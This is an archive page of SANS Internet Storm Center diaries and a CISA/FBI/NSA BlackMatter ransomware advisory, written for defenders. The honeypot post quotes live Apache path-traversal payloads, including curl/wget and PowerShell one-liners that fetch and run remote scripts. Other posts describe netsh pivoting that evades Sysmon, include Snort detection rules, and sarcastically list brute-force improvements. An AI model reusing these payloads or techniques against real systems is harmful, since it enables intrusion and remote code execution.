Tag Archives: Security

Can you make the Great Chinese Firewall work for you?, (Tue, Oct 19th)

This post was originally published on this site

ve often been cited as being blocked. Adding them to the mail server's banner should also expose them before, for example, STARTTLS is activated.

I used my mail server as an example for several reasons:

  1. It receives almost no actual email, but pretty much only spam.
  2. A large number of brute-forcing and other connections to the mail server originate from China.
  3. I could not find much about how the great Chinese firewall affects email. Email is often controlled on the mail server and may not be affected by the firewall to the same extend.

The pie charts display the top countries before and after making the change. While there was a slight change in the number of Chinese IP addresses (9% instead of 11% of the total number of connections), the difference is not what I would consider significant. So, for now, I call the rumor busted that you can get the Chinese firewall to block traffic to your system by injecting simple keywords.
I think this may require a more detailed investigation. For example, the keywords will likely matter. It may also matter in what context the keywords are sent. HTTP content is more likely going to be blocked (I think). Or maybe the SMTP content is ignored if it is part of the SMTP envelope?

 

[1] https://en.wikipedia.org/wiki/Great_Firewall
[2] https://isc.sans.edu/forums/diary/Why+Does+Emperor+Xi+Dislike+Winnie+the+Pooh+and+Scrambled+Eggs/23395/


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA21-291A: BlackMatter Ransomware

This post was originally published on this site

Original release date: October 18, 2021

Summary

Actions You Can Take Now to Protect Against BlackMatter Ransomware
• Implement and enforce backup and restoration policies and procedures.

Use strong, unique passwords.
Use multi-factor authentication.
• Implement network segmentation and traversal monitoring.

Note: this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, version 9. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

This joint Cybersecurity Advisory was developed by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) to provide information on BlackMatter ransomware. Since July 2021, BlackMatter ransomware has targeted multiple U.S. critical infrastructure entities, including two U.S. Food and Agriculture Sector organizations.

This advisory provides information on cyber actor tactics, techniques, and procedures (TTPs) obtained from a sample of BlackMatter ransomware analyzed in a sandbox environment as well from trusted third-party reporting. Using embedded, previously compromised credentials, BlackMatter leverages the Lightweight Directory Access Protocol (LDAP) and Server Message Block (SMB) protocol to access the Active Directory (AD) to discover all hosts on the network. BlackMatter then remotely encrypts the hosts and shared drives as they are found.

Ransomware attacks against critical infrastructure entities could directly affect consumer access to critical infrastructure services; therefore, CISA, the FBI, and NSA urge all organizations, including critical infrastructure organizations, to implement the recommendations listed in the Mitigations section of this joint advisory. These mitigations will help organizations reduce the risk of compromise from BlackMatter ransomware attacks.

Click here for a PDF version of this report.

Technical Details

Overview

First seen in July 2021, BlackMatter is ransomware-as-a-service (Raas) tool that allows  the ransomware’s developers to profit from cybercriminal affiliates (i.e., BlackMatter actors) who deploy it against victims. BlackMatter is a possible rebrand of DarkSide, a RaaS which was active from September 2020 through May 2021. BlackMatter actors have attacked numerous U.S.-based organizations and have demanded ransom payments ranging from $80,000 to $15,000,000 in Bitcoin and Monero.

Tactics, Techniques, and Procedures

This advisory provides information on cyber actor TTPs obtained from the following sample of BlackMatter ransomware, which was analyzed in a sandbox environment, as well as from trusted third parties: SHA-256: 706f3eec328e91ff7f66c8f0a2fb9b556325c153a329a2062dc85879c540839d. (Note: click here to see the sample’s page on VirusTotal.)

The BlackMatter variant uses embedded admin or user credentials that were previously compromised and NtQuerySystemInformation and EnumServicesStatusExW to enumerate running processes and services, respectively. BlackMatter then uses the embedded credentials in the LDAP and SMB protocol to discover all hosts in the AD and the srvsvc.NetShareEnumAll Microsoft Remote Procedure Call (MSRPC) function to enumerate each host for accessible shares. Notably, this variant of BlackMatter leverages the embedded credentials and SMB protocol to remotely encrypt, from the original compromised host, all discovered shares’ contents, including ADMIN$, C$, SYSVOL, and NETLOGON.

BlackMatter actors use a separate encryption binary for Linux-based machines and routinely encrypt ESXI virtual machines. Rather than encrypting backup systems, BlackMatter actors wipe or reformat backup data stores and appliances.

Table 1 maps BlackMatter’s capabilities to the MITRE ATT&CK for Enterprise framework, based on the analyzed variant and trusted third-party reporting.

Table 1: Black Matter Actors and Ransomware TTPs

Tactic

Technique 

Procedure 

Persistance [TA0003]

External Remote Services [T1133]

BlackMatter leverages legitimate remote monitoring and management software and remote desktop software, often by setting up trial accounts, to maintain persistence on victim networks. 

Credential Access [TA0006]

OS Credential Dumping: LSASS Memory [T1003.001]

BlackMatter harvests credentials from Local Security Authority Subsystem Service (LSASS) memory using procmon.

Discovery [TA0007]

Remote System Discovery [T1018]

BlackMatter leverages LDAP and SMB protocol to discover all hosts in the AD.

Process Discovery [T1057]

BlackMatter uses NtQuerySystemInformation to enumerate running processes.

System Service Discovery [T1007]

BlackMatter uses EnumServicesStatusExW to enumerate running services on the network.

Lateral Movement [TA0008]

Remote Services: SMB/Windows Admin Shares [T1021.002]

BlackMatter uses srvsvc.NetShareEnumAll MSRPC function to enumerate and SMB to connect to all discovered shares, including ADMIN$, C$, SYSVOL, and NETLOGON.

Exfiltration [TA0010]

Exfiltration Over Web Service [T1567]

BlackMatter attempts to exfiltrate data for extortion.

Impact [TA0040]

Data Encrypted for Impact [T1486]

BlackMatter remotely encrypts shares via SMB protocol and drops a ransomware note in each directory.

Disk Wipe [T1561]

BlackMatter may wipe backup systems.

Detection Signatures

The following Snort signatures may be used for detecting network activity associated with BlackMatter activity.

Intrusion Detection System Rule:

alert tcp any any -> any 445 ( msg:"BlackMatter remote encryption attempt";  content:"|01 00 00 00 00 00 05 00 01 00|";  content:"|2e 00 52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 74 00|"; distance:100; detection_filter: track by_src, count 4, seconds 1; priority:1; sid:11111111111; )

Inline Intrusion Prevention System Rule:

alert tcp any any -> any 445 ( msg:"BlackMatter remote encryption attempt";  content:"|01 00 00 00 00 00 05 00 01 00|";  content:"|2e 00 52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 74 00|"; distance:100; priority:1; sid:10000001; )

rate_filter gen_id 1, sig_id 10000001, track by_src, count 4, seconds 1, new_action reject, timeout 86400

Mitigations

CISA, the FBI, and NSA urge network defenders, especially for critical infrastructure organizations, to apply the following mitigations to reduce the risk of compromise by BlackMatter ransomware:

Implement Detection Signatures

  • Implement the detection signatures identified above. These signatures will identify and block placement of the ransom note on the first share that is encrypted, subsequently blocking additional SMB traffic from the encryptor system for 24 hours. 

Use Strong Passwords

  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts.) to have strong, unique passwords. Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access. Note: devices with local administrative accounts should implement a password policy that requires strong, unique passwords for each individual administrative account. 

Implement Multi-Factor Authentication

Patch and Update Systems

  • Keep all operating systems and software up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.

Limit Access to Resources over the Network

  • Remove unnecessary access to administrative shares, especially ADMIN$ and C$. If ADMIN$ and C$ are deemed operationally necessary, restrict privileges to only the necessary service or user accounts and perform continuous monitoring for anomalous activity.
  • Use a host-based firewall to only allow connections to administrative shares via SMB from a limited set of administrator machines. 

Implement Network Segmentation and Traversal Monitoring

Adversaries use system and network discovery techniques for network and system visibility and mapping. To limit an adversary from learning the organization’s enterprise environment, limit common system and network discovery techniques by taking the following actions.

  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. 
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. 

Use Admin Disabling Tools to Support Identity and Privileged Access Management

If BlackMatter uses compromised credentials during non-business hours, the compromise may not be detected. Given that there has been an observed increase in ransomware attacks during non-business hours, especially holidays and weekends, CISA, the FBI, and NSA recommend organizations:

  • Implement time-based access for accounts set at the admin-level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the AD level when the account is not in direct need. When the account is needed, individual users submit their requests through an automated process that enables access to a system, but only for a set timeframe to support task completion. 
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities that run from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. 

Implement and Enforce Backup and Restoration Policies and Procedures

  • Maintain offline backups of data, and regularly maintain backup and restoration. This practice will ensure the organization will not be severely interrupted, have irretrievable data, or be held up by a ransom demand.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted) and covers the entire organization’s data infrastructure. 

CISA, the FBI, and NSA urge critical infrastructure organizations to apply the following additional mitigations to reduce the risk of credential compromise.

  • Disable the storage of clear text passwords in LSASS memory.
  • Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.
  • Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA). 
  • Minimize the AD attack surface to reduce malicious ticket-granting activity. Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ Ticket Granting service and can be used to obtain hashed credentials that attackers attempt to crack.
    • Set a strong password policy for service accounts.
    • Audit Domain Controllers to log successful Kerberos Ticket-Granting Service requests and ensure the events are monitored for anomalous activity.  

Refer to the CISA-Multi-State information and Sharing Center (MS-ISAC) Joint Ransomware Guide for general mitigations to prepare for and reduce the risk of compromise by ransomware attacks. 

Note: critical infrastructure organizations with industrial control systems/operational technology networks should review joint CISA-FBI Cybersecurity Advisory AA21-131A: DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks for more mitigations, including mitigations to reduce the risk of severe business or functional degradation should their entity fall victim to a ransomware attack. 

Responding to Ransomware Attacks

If a ransomware incident occurs at your organization, CISA, the FBI, and NSA recommend:

Note: CISA, the FBI, and NSA strongly discourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered.

Resources

  • For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware resources and alerts.
  • CISA’s Ransomware Readiness Assessment (RRA) is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident. 
  • CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.

Contact Information

Victims of ransomware should report it immediately to CISA at us-cert.cisa.gov/report, a local FBI Field Office, or U.S. Secret Service Field Office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.

This document was developed by CISA, the FBI, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

Note: the information you have accessed is being provided “as is” for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by CISA, the FBI, or NSA.

Revisions

  • October 18, 2021: Initital Version

This product is provided subject to this Notification and this Privacy & Use policy.

Apache is Actively Scan for CVE-2021-41773 & CVE-2021-42013, (Sat, Oct 16th)

This post was originally published on this site

Johannes published a diary on this activity last week for an Apache 2.4.49 directory traversal vulnerability where the patch was made available on September 15, 2021. Apache released a new update on October 7, 2021, indicating their advisory for "Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)". The current patched version is 2.4.51.

My honeypot has since captured various types of scans looking for the presence of Apache.

Sample Logs

20211012-225407: 192.168.25.9:80-202.28.250.122:51783 data
POST /icons/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/%25%25%25332%25%25365%25%25%25332%25%25365/bin/sh HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 218

(curl -k -H Host:heuristic-hermann-392016.netlify.app -fsSL https://52.220.244.242/stg_ntf.sh||wget –no-check-certificate –header=Host:heuristic-hermann-392016.netlify.app -q -O- https://52.220.244.242/stg_ntf.sh)|sh'

20211006-034517: 192.168.25.9:443-46.101.59.235:44008 data
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip

20211013-152703: 192.168.25.9:80-202.28.250.122:42323 data
POST /cgi-bin/.%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/%25%2532e%25%2532e/bin/sh HTTP/1.1
Host: XX.XX.42.114
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 145

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://heuristic-hermann-392016.netlify.app/stg_ntf.c3.ps1'))"'

20211016-142000: 192.168.25.9:443-45.146.164.110:48238 data
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: XX.XX.42.114:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

A=|echo;echo -n GTtHWsFXPn|md5sum'

Indicators

heuristic-hermann-392016.netlify.app
23.251.102.74
45.146.164.110
46.101.59.235
52.220.244.242
128.14.134.134
128.14.134.170
128.14.141.34
139.162.215.70
139.162.207.84
143.198.136.88
161.35.188.242
172.105.161.246
185.180.143.71
192.53.170.243

The current fix to this issue is to update to Apache 2.4.51.

[1] https://isc.sans.edu/forums/diary/Apache+2449+Directory+Traversal+Vulnerability+CVE202141773/27908/
[2] https://httpd.apache.org/security/vulnerabilities_24.html
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
[4] https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Warranty Repairs and Non-Removable Storage Risks, (Fri, Oct 15th)

This post was originally published on this site

I have been asked several times in recent months about addressing risks of warranty repair service of laptops/tablets.  With each of these situations, the question boiled down to the same underlying issue: non-removable storage.  “It depends” has been my standard response, as there are many key factors to accurately framing the response.  Organizational policies which defines their risk appetite and/or external regulations typically characterize what can be done.

 

The organization’s policies and general risk appetite are the first place to look for guidance. Media sanitization policies may reference how to handle a situation where a device begins to fail. 

One of the people who asked this question works within a small financial services/tax preparation organization.  About 10 years ago, the organization had invested in one of the big four audit firms to review their operations which resulted in several policies being written and procedure changes.  One of these policies stated that “hard drives, thumb drives, and other forms of digital media must be removed and destroyed prior to desktop or laptops leaving the organization.”  This made perfect sense at the time due to how much sensitive PII was being processed each year and the types of issues were being reported in the mass media at the time.  That organization framed their policy around the idea that drives would be removed from desktops and laptops at the end of their useful life span as they had no risk appetite for showing up in the news.  But, that policy had not been updated to fit the changing world in the past decade, or really consider what to do with warranty services.

The classification of data which was being stored/processed on the device can direct one to device sanitization guidelines.  Regulations around this activity can also detail what can be done.

Another colleague broached a question about how best perform a warranty repair on a Microsoft Surface.  Their organization utilizes a 4-layer data classification standard where the top levels of restricted data must follow NIST controls.  NIST 800-171 Control 3.7.3 has a control statement of “Ensure equipment removed for off-site maintenance is sanitized of any CUI.”  Further, control 3.8.3 states “Sanitize or destroy information system media containing CUI before disposal or release for reuse.” Similar language exists in NIST 800-53, HIPAA, and other similar frameworks. 

We spent a few hours talking through this situation and developed a flow chart that seems to work based on their local policies and risk appetite. AND it accounts for the type of data being stored/processed on that asset. 

  1. If the storage is removable, then remove it prior to sending to warranty repair.
  2. If the storage is non-removable and the system is operational, utilize one of several NIST compliant tools/techniques to wipe out any sensitive data.
  3. If the storage is non-removable and the system is non-functional, then base next steps on data classification. 
    1. Public data classification would be acceptable risk for the organization to send off to be repaired.
    2.  The higher level classifications would require multiple tasks such as communication to the CTO/CISO/Risk Management team about the failed asset, validating that a BAA is in place with the repair vendor (for HIPAA), and working through hurdles of ensuring that the damaged device was transported to the repair vendor and return was tracked. 

In these discussions, the organization might choose to fully replace the device rather than take the risk of sending off for repair based on the reputational risks.  This could create an un-intended consequence depending on budget model of the organization.  Depending on which budget take the hit for replacing the asset, low-level managers may improperly attest an asset as being “public” data or otherwise hide repairs rather than replacing outright.

In these scenarios, much of the discussions related to risk.  How do we avoid the risk, transfer the risk to others, or at least mitigate the risk to some degree.  It would be no surprise to anyone that the world changed significantly in the past year.  Among those changes included the pure number of laptops, tablets, and similar assets that were deployed in most organizations for the suddenly remote work force. 

Due to the changes, we all need to be carefully looking over our policies and having discussions with internal audit, IT leadership, information security, and risk management teams about warranty repairs for our individual organizations.    What are you all seeing in your industries or organizations with how to handle warranty repairs?

Scott Fendley ISC Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Port-Forwarding with Windows for the Win, (Thu, Oct 14th)

This post was originally published on this site

A feature that I use often is the port-forwarding capability implemented in the SSH protocol. It’s very convenient for pivoting inside a network or accessing a resource that is not directly reachable. Think about a management console that binds on the loopback interface of a server (which is good from a security point of view). How to access it remotely? SSH to the rescue!

Connect to the server with this command:

$ ssh -L 4443:127.0.0.1:443 user@server

Now, you are able to access the web interface via: https://127.0.0.1:4443/.

If you need to pivot internally, use “server” as a jump host:

$ ssh -L 4443:192.168.10.12:443 user@server

That's nice but what if the host you are jumping into is running Windows? How to achieve the same?

Microsoft provides an interesting tool to play with the network settings: netsh.exe[1]. I like to refer to it as the "Windows network Swiss army knife tool"! You can achieve the same as SSH using the "portproxy" feature.

Example:

C:> netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=127.0.0.1
C:> netsh advfirewall firewall add rule name="Port Forward 8080" protocol=TCP localport=8080 action=allow dir=IN

This forward incoming requests on port 8080 to the loopback on port 80 (line 1). Note that you need to allow the traffic in the Windows firewall (line2). Let's test by launching a quick Python web server:

C:> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...

From another computer, try to access the webserver:

$ curl -v http://192.168.131.2:8080
* Trying 192.168.131.2...
* TCP_NODELAY set
* Connected to 192.168.131.2 (192.168.131.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.131.2:8080
> User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.9.7
< Date: Thu, 14 Oct 2021 05:02:35 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 253873
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
...

The Python webserver will log this:

::ffff:127.0.0.1 - - [14/Oct/2021 06:02:35] "GET / HTTP/1.1" 200 -

Now, let's try to access a remote resource:

C:> netsh interface portproxy add v4tov4 listenport=4443 connectport=443 connectaddress=142.250.181.238
C:> netsh advfirewall firewall add rule name="Open port 4443" protocol=TCP localport=4443 action=allow dir=IN

This will allow us to access Google through the Windows host:

$ curl -k https://192.168.131.2:4443
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com:4443/">here</A>.
</BODY></HTML>

This technique is interesting for both attackers and defenders! From an attacker's point of view, you can easily pivot inside a network and cover your tracks. From a defender's perspective, you can quickly access a resource without reconfiguring it (for example if listening to the loopback interface only).

From a forensics point of view, keep in mind that an attacker will easily hide suspicious processes because all the connections will appear to come from svchost! (like a native system call doing the job). This is nice to defeat Sysmon rules trying to detect network connections performed by non-regular processes. You will see the connections showing up as:

Service Name : iphlpsvc
Display Name : IP Helper
Binary Path  : svchost.exe -k NetSvcs

When investigating suspicious network traffic, you can always check if portproxy has been configured:

C:> netsh interface portproxy show all

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
*               8080        127.0.0.1       80
*               4443        142.250.181.238 443

If you already used this technique or if you've practical cases, feel free to share in the comments!

[1] https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Please fix your E-Mail Brute forcing tool!, (Wed, Oct 13th)

This post was originally published on this site

Recently, I am seeing a lot of identical failed login attempts against my mail server. Just today, about 130,000 of them. The vast majority (124k+) come from one subnet: 31.130.184.0/24

inetnum:        31.130.176.0 – 31.130.191.255
mnt-domains:    RER-MNT
netname:        RoshangaranErtebatatRayaneh
country:        IR
org:            ORG-RER3-RIPE
admin-c:        MRMG6-RIPE
tech-c:         MRMG6-RIPE

Brute force attempts by themselves are not that special, but these are in particular annoying as the tool they are using appears to be broken. Here is the complete login attempt (they all look exactly the same):

[Blue: data from server, Red: data from client]

It starts harmless enough with my mail server sending a standard banner

220 mail.localdomain ESMTP Postfix (Debian/GNU)

The "attacker" responds with an EHLO. The "localhost" is a bit odd, but well, I told them that I am mail.localdomain. So I will take that.

   EHLO localhost

As it should in response to an "EHLO", my mail server will list its capabilities. Note that the client is not taking advantage of STARTTLS.

250-mail.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING

Insert the Client "resets" the connect. Bit odd, and I probably should drop things here. But I am always interested in seeing where things go…

   RSET

So I am responding with a standard "OK".

250 2.0.0 Ok

The client now attempts to "Login"

   AUTH LOGIN

As common for "AUTH LOGIN", my mail server responds with a base64 encoded string "Username:". I am sure the bot appreciates that my mail server tells it what to send next.

334 VXNlcm5hbWU6

The username, also base64 encoded, is "nan".

   bmFu

For those of you familiar with Base64 (or standard logins), you will probably know what comes next: "Password:"

334 UGFzc3dvcmQ6

The password sent: Nan (upper case N unlike the username).

   TmFu

Sadly, this fails… and I send you an error telling you so.

535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6

   QUIT

221 2.0.0 Bye

Ok. The attacker is going at this all day long, the strategy appears to be more "password spraying" than "brute forcing" as it does not attempt too many attempts on a particular account. I don't believe they even bother with using leaked credentials of mine, but instead they just simply go for volume.

There are a number of ways how this attack could be a lot more effective:

  • Use more IP addresses. I long blocked that /24 and it still keeps coming.
  • Figure out if the usernames actually exist. It isn't that hard. Don't waste your time on nonexisting accounts
  • Use better password lists
  • Try this against a government network. They may (a) be not as well protected and (b) have more valuable data.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft October 2021 Patch Tuesday, (Tue, Oct 12th)

This post was originally published on this site

This month we got patches for 81 vulnerabilities. Of these, 3 are critical, 3 were previously disclosed and 1 is being exploited according to Microsoft.

The exploited vulnerability (CVE-2021-40449) is an elevation of privilege affecting Win32k on virtually all supported Windows versions. According to the advisory, a local attacker may elevate privileges with no user interactions. 

Among critical vulnerabilities, there are two Windows Hyper-V Remote Code Execution Vulnerability (CVE-2021-40461 and CVE-2021-38672) affecting multiple versions of Windows 10, 11 and Server. An attacker within the same physical or logical network with low privileges and no user interaction could exploit this vulnerability to execute code on the targeted system. The CVSS V3 for both vulnerabilities is 8.0. The third critical vulnerabilty is the Microsoft Word Remote Code Execution Vulnerability (CVE-2021-40486) with the CVSS V3 of 7.8.

Another vulnerability worth mentioning due to recent vulnerabilities involving the print spooler, albeit without much detail, is the Windows Print Spooler Spoofing Vulnerability (CVE-2021-36970). The CVSS V3 for this vulnerability is 8.8 and the exploitability assessment is 'Exploitation more likely'.

The highest CVSS v3 this month (9.0) was associated to the Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26427). According to the advisory, the attack vector for this vulnerablity is 'adjacent', which means the attack can not be done accross the internet. The vulnerabilty affects Windows Exchange Server on versions 2013, 2016 and 2019.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

October 2021 Security Updates

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Core and Visual Studio Information Disclosure Vulnerability
%%cve:2021-41355%% No No Less Likely Less Likely Important 5.7 5.0
Active Directory Federation Server Spoofing Vulnerability
%%cve:2021-41361%% No No Less Likely Less Likely Important 5.4 4.7
Active Directory Security Feature Bypass Vulnerability
%%cve:2021-41337%% No No Less Likely Less Likely Important 4.9 4.3
Chromium: CVE-2021-37974 Use after free in Safe Browsing
%%cve:2021-37974%% No No    
Chromium: CVE-2021-37975 Use after free in V8
%%cve:2021-37975%% No No    
Chromium: CVE-2021-37976 Information leak in core
%%cve:2021-37976%% No No    
Chromium: CVE-2021-37977 Use after free in Garbage Collection
%%cve:2021-37977%% No No    
Chromium: CVE-2021-37978 Heap buffer overflow in Blink
%%cve:2021-37978%% No No    
Chromium: CVE-2021-37979 Heap buffer overflow in WebRTC
%%cve:2021-37979%% No No    
Chromium: CVE-2021-37980 Inappropriate implementation in Sandbox
%%cve:2021-37980%% No No    
Console Window Host Security Feature Bypass Vulnerability
%%cve:2021-41346%% No No Less Likely Less Likely Important 5.3 4.6
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2021-40470%% No No More Likely More Likely Important 7.8 6.8
Intune Management Extension Security Feature Bypass Vulnerability
%%cve:2021-41363%% No No Less Likely Less Likely Important 4.2 3.8
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2021-41339%% No No Less Likely Less Likely Important 4.7 4.2
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2021-41354%% No No Important 4.1 3.6
Microsoft Dynamics 365 (on-premises) Spoofing Vulnerability
%%cve:2021-41353%% No No Important 5.4 4.7
Microsoft Dynamics 365 Customer Engagement Cross-Site Scripting Vulnerability
%%cve:2021-40457%% No No Less Likely Less Likely Important 7.4 6.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2021-40472%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-40471%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40473%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40474%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40479%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40485%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Exchange Server Denial of Service Vulnerability
%%cve:2021-34453%% No No Less Likely Less Likely Important 7.5 6.5
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2021-41348%% No No Less Likely Less Likely Important 8.0 7.0
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2021-26427%% No No Less Likely Less Likely Important 9.0 7.8
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2021-41350%% No No Less Likely Less Likely Important 6.5 5.7
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2021-40480%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40481%% No No Less Likely Less Likely Important 7.1 6.2
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2021-40482%% No No Less Likely Less Likely Important 5.3 4.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2021-41344%% No No More Likely More Likely Important 8.1 7.1
%%cve:2021-40487%% No No More Likely More Likely Important 8.1 7.1
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2021-40483%% No No Less Likely Less Likely Low 7.6 6.6
%%cve:2021-40484%% No No Less Likely Less Likely Important 7.6 6.6
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2021-41330%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2021-40486%% No No Less Likely Less Likely Critical 7.8 6.8
